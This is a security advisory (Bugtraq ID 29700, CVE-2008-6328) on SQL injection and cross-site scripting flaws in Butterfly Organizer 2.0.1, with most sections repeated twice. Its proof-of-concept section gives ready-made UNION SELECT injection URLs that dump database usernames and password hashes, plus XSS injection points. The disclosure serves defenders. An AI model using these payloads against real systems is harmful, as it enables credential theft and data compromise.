Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
BID:29700
Info
Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 29700 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6328 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 13 2008 12:00AM |
| Updated: | Mar 09 2009 05:56PM |
| Credit: | CWH Underground |
| Vulnerable: |
Butterfly Media Romania Butterfly Organizer 2.0.1 Butterfly Media Romania Butterfly Organizer 2.0 |
| Not Vulnerable: | |
Discussion
Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
Butterfly Organizer is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Butterfly Organizer 2.0.1 is vulnerable; other versions may also be affected.
Butterfly Organizer is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Butterfly Organizer 2.0.1 is vulnerable; other versions may also be affected.
Exploit / POC
Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/mysql.user&mytable=test_category
http://www.example.com/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(username,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/test_category&mytable=test_category
http://www.example.com/[path]/view.php?id=-1+union+select+0x49276d2076756c6e657261626c65203a28,2,3,name,url,username,password,8,9,10+from+test_category&mytable=test_category
http://www.example.com/[Organizer_Path]/view.php?id=1&mytable=<XSS>
http://www.example.com/[Organizer_Path]/viewdb2.php?id=1&mytable=<XSS>
http://www.example.com/[Organizer_Path]/category-rename.php?tablehere=<XSS>
http://www.example.com/[Organizer_Path]/module-contacts.php?letter=<XSS>
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/mysql.user&mytable=test_category
http://www.example.com/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(username,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/test_category&mytable=test_category
http://www.example.com/[path]/view.php?id=-1+union+select+0x49276d2076756c6e657261626c65203a28,2,3,name,url,username,password,8,9,10+from+test_category&mytable=test_category
http://www.example.com/[Organizer_Path]/view.php?id=1&mytable=<XSS>
http://www.example.com/[Organizer_Path]/viewdb2.php?id=1&mytable=<XSS>
http://www.example.com/[Organizer_Path]/category-rename.php?tablehere=<XSS>
http://www.example.com/[Organizer_Path]/module-contacts.php?letter=<XSS>
Solution / Fix
Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
References:
References:
- Butterfly Organizer Homepage (Butterfly Media Romania)